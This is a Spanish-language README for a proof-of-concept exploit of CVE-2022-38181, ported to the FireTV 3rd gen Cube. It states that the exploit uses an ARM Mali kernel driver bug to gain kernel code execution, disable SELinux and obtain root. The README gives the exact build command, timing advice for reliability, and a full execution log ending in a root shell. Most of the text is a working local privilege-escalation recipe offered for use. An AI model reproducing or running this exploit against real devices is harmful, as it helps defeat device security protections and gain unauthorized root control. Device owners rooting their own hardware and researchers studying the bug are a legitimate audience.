
CVE-2022-38181 POC para FireTV 3rd gen Cube (gazelle)
Este es un fork del POC para Pixel 6 del investigador de seguridad Man Yue Mo para CVE_2022_38181. Lea su detallado análisis de la vulnerabilidad aquí. Se han realizado cambios para tener en cuenta el espacio de usuario de 32 bits de FireOS. El POC explota un error en el controlador del kernel ARM Mali para obtener ejecución de código arbitrario en el kernel, que luego se utiliza para deshabilitar SELinux y obtener root.
Usé el siguiente comando para compilar con clang en ndk-21:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o gazelle_shrinker
El exploit debe ejecutarse entre 30 y 90 segundos después de que el Cube se inicie para obtener la máxima fiabilidad.
gazelle:/ $ /data/local/tmp/gazelle_shrinker
fingerprint: Amazon/gazelle/gazelle:9/PS7613.3701N/0025401652480:user/amz-p,release-keys
failed, retry.
failed, retry.
region freed 47
alias gpu va 100c83000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 6 0
Found freed_idx 6
Found pgd 23, 100d30000
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
gazelle:/ #